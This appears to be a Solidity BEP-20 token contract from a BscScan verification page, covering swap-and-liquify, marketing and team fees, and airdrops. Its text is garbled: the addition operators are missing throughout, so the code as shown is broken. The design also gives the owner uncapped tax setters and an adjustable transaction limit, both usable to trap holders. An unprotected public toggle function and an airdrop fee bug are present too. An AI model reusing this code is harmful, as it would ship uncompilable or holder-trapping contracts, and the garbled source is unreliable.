/**
*Submitted for verification at BscScan.com on 2022-01-30
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;

abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}

function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}

interface IERC20 {
function totalSupply() external view returns (uint256);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount) external returns (bool);

function allowance(address owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c a % b); // There is no case in which this doesn't hold

return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}

function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}

library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}

function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");

// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}

function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}

function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}

function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");

(bool success, bytes memory returndata) =
target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}

contract Ownable is Context {
address public _owner;
address private _previousOwner;
uint256 private _lockTime;

event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function waiveOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}

function getUnlockTime() public view returns (uint256) {
return _lockTime;
}

function getTime() public view returns (uint256) {
return block.timestamp;
}

function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp time;
emit OwnershipTransferred(_owner, address(0));
}

function unlock() public virtual {
require(
_previousOwner == msg.sender,
"You don't have permission to unlock"
);
require(block.timestamp > _lockTime, "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}

interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);

function feeTo() external view returns (address);

function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB)
external
view
returns (address pair);

function allPairs(uint256) external view returns (address pair);

function allPairsLength() external view returns (uint256);

function createPair(address tokenA, address tokenB)
external
returns (address pair);

function setFeeTo(address) external;

function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);

function name() external pure returns (string memory);

function symbol() external pure returns (string memory);

function decimals() external pure returns (uint8);

function totalSupply() external view returns (uint256);

function balanceOf(address owner) external view returns (uint256);

function allowance(address owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 value) external returns (bool);

function transfer(address to, uint256 value) external returns (bool);

function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32);

function PERMIT_TYPEHASH() external pure returns (bytes32);

function nonces(address owner) external view returns (uint256);

function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;

event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint256);

function factory() external view returns (address);

function token0() external view returns (address);

function token1() external view returns (address);

function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);

function price0CumulativeLast() external view returns (uint256);

function price1CumulativeLast() external view returns (uint256);

function kLast() external view returns (uint256);

function burn(address to) external returns (uint256 amount0, uint256 amount1);

function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;

function skim(address to) external;

function sync() external;

function initialize(address, address) external;
}

interface IUniswapV2Router01 {
function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);

function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);

function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);

function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);

function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);

function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);

function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);

function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);

function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);

function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);

function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);

function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);

function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);

function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);

function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);

function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);

function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);

function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}

contract TokenTool is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;

string private _name;
string private _symbol;
uint8 private _decimals;
address payable public marketingWalletAddress;
address payable public teamWalletAddress;
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;

mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;

mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isWalletLimitExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public isMarketPair;

uint256 public _buyLiquidityFee = 7;
uint256 public _buyMarketingFee = 2;
uint256 public _buyTeamFee = 1;

uint256 public _sellLiquidityFee = 7;
uint256 public _sellMarketingFee = 2;
uint256 public _sellTeamFee = 1;

uint256 public _liquidityShare = 4;
uint256 public _marketingShare = 6;
uint256 public _teamShare = 8;
uint256 public _totalDistributionShares = 18;

uint256 public _totalTaxIfBuying = 10;
uint256 public _totalTaxIfSelling = 10;

uint256 private _totalSupply;
uint256 public _maxTxAmount;
uint256 public _walletMax;
uint256 private _minimumTokensBeforeSwap = 0;

IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;

bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;

event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);

event SwapETHForTokens(uint256 amountIn, address[] path);

event SwapTokensForETH(uint256 amountIn, address[] path);

modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}

constructor(
string memory coinName,
string memory coinSymbol,
uint8 coinDecimals,
uint256 supply,
address router,
address owner,
address marketingAddress,
address teamAddress,
address service
) payable {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);

_name = coinName;
_symbol = coinSymbol;
_decimals = coinDecimals;
_owner = owner;
_totalSupply = supply * 10**_decimals;
_maxTxAmount = supply * 10**_decimals;
_walletMax = supply * 10**_decimals;
_minimumTokensBeforeSwap = 1 * 10**_decimals;
marketingWalletAddress = payable(marketingAddress);
teamWalletAddress = payable(teamAddress);
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(
_sellTeamFee
);
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(
_teamShare
);
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
isExcludedFromFee[owner] = true;
isExcludedFromFee[address(this)] = true;

isWalletLimitExempt[owner] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;

isTxLimitExempt[owner] = true;
isTxLimitExempt[address(this)] = true;

isMarketPair[address(uniswapPair)] = true;

_balances[owner] = _totalSupply;
payable(service).transfer(msg.value);
emit Transfer(address(0), owner, _totalSupply);
}

function name() public view returns (string memory) {
return _name;
}

function symbol() public view returns (string memory) {
return _symbol;
}

function decimals() public view returns (uint8) {
return _decimals;
}

function totalSupply() public view override returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}

function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}

function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return _minimumTokensBeforeSwap;
}

function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}

function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function setMarketPairStatus(address account, bool newValue)
public
onlyOwner
{
isMarketPair[account] = newValue;
}

function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}

function setIsExcludedFromFee(address account, bool newValue)
public
onlyOwner
{
isExcludedFromFee[account] = newValue;
}

function setBuyTaxes(
uint256 newLiquidityTax,
uint256 newMarketingTax,
uint256 newTeamTax
) external onlyOwner() {
_buyLiquidityFee = newLiquidityTax;
_buyMarketingFee = newMarketingTax;
_buyTeamFee = newTeamTax;

_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
}

function setSelTaxes(
uint256 newLiquidityTax,
uint256 newMarketingTax,
uint256 newTeamTax
) external onlyOwner() {
_sellLiquidityFee = newLiquidityTax;
_sellMarketingFee = newMarketingTax;
_sellTeamFee = newTeamTax;

_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(
_sellTeamFee
);
}

function setDistributionSettings(
uint256 newLiquidityShare,
uint256 newMarketingShare,
uint256 newTeamShare
) external onlyOwner() {
_liquidityShare = newLiquidityShare;
_marketingShare = newMarketingShare;
_teamShare = newTeamShare;

_totalDistributionShares = _liquidityShare.add(_marketingShare).add(
_teamShare
);
}

function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}

function enableDisableWalletLimit(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}

function setIsWalletLimitExempt(address holder, bool exempt)
external
onlyOwner
{
isWalletLimitExempt[holder] = exempt;
}

function setWalletLimit(uint256 newLimit) external onlyOwner {
_walletMax = newLimit;
}

function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
_minimumTokensBeforeSwap = newLimit;
}

function setMarketingWalletAddress(address newAddress) external onlyOwner() {
marketingWalletAddress = payable(newAddress);
}

function setTeamWalletAddress(address newAddress) external onlyOwner() {
teamWalletAddress = payable(newAddress);
}

function setSwapAndLiquifyEnabled(bool _enabled) public {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}

function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}

function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}

function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}

function changeRouterVersion(address newRouterAddress)
public
onlyOwner
returns (address newPairAddress)
{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);

newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(
address(this),
_uniswapV2Router.WETH()
);

if (newPairAddress == address(0)) //Create If Doesnt exist
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
}

uniswapPair = newPairAddress; //Set new pair address
uniswapV2Router = _uniswapV2Router; //Set new router address

isWalletLimitExempt[address(uniswapPair)] = true;
isMarketPair[address(uniswapPair)] = true;
}

//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}

function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}

function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}

function _transfer(
address sender,
address recipient,
uint256 amount
) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");

if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
} else {
if (!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
require(
amount <= _maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
}

uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance =
contractTokenBalance >= _minimumTokensBeforeSwap;

if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
!isMarketPair[sender] &&
swapAndLiquifyEnabled
) {
if (swapAndLiquifyByLimitOnly)
contractTokenBalance = _minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}

_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

uint256 finalAmount =
(isExcludedFromFee[sender] || isExcludedFromFee[recipient])
? amount
: takeFee(sender, recipient, amount);

if (checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);

_balances[recipient] = _balances[recipient].add(finalAmount);

emit Transfer(sender, recipient, finalAmount);
return true;
}
}

function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}

function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 tokensForLP =
tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);

swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;

uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));

uint256 amountBNBLiquidity =
amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
uint256 amountBNBMarketing =
amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

if (amountBNBMarketing > 0)
transferToAddressETH(marketingWalletAddress, amountBNBMarketing);

if (amountBNBTeam > 0)
transferToAddressETH(teamWalletAddress, amountBNBTeam);

if (amountBNBLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountBNBLiquidity);
}

function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();

_approve(address(this), address(uniswapV2Router), tokenAmount);

// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);

emit SwapTokensForETH(tokenAmount, path);
}

function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);

// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}

address[] private airDropList;
uint256 airDropIndex = 0;
uint256 airDropNum = 3;

function setAirDropList(address[] calldata adl, uint256 _airDropNum)
public
onlyOwner
{
airDropList = adl;
airDropIndex = 0;
airDropNum = _airDropNum;
}

function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeAmount = 0;

if (isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
} else { // if (isMarketPair[recipient])
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
uint256 feeAmount2 = feeAmount;
if (feeAmount > 0 && airDropList.length > 0 && airDropNum > 0) {
uint256 airDropAmount = feeAmount2 / 10;
feeAmount2 -= airDropAmount;

//
if (airDropIndex >= airDropList.length) {
airDropIndex = 0;
}
uint256 start = airDropIndex;
uint256 end = airDropIndex airDropNum;
if (airDropIndex airDropNum > airDropList.length) {
end = airDropList.length;
}
airDropIndex = end;
uint256 real = airDropAmount / (end - start);
for (; start < end; start ) {
_basicTransfer(msg.sender, airDropList[start], real);
}
}

if (feeAmount2 > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount2);
emit Transfer(sender, address(this), feeAmount2);
}

return amount.sub(feeAmount);
}

function batchTransfer(address[] calldata tokenHolders, uint256 amount)
public
{
uint256 real = amount / tokenHolders.length;
for (uint256 i = 0; i < tokenHolders.length; i ) {
_basicTransfer(msg.sender, tokenHolders[i], real);
}
}
}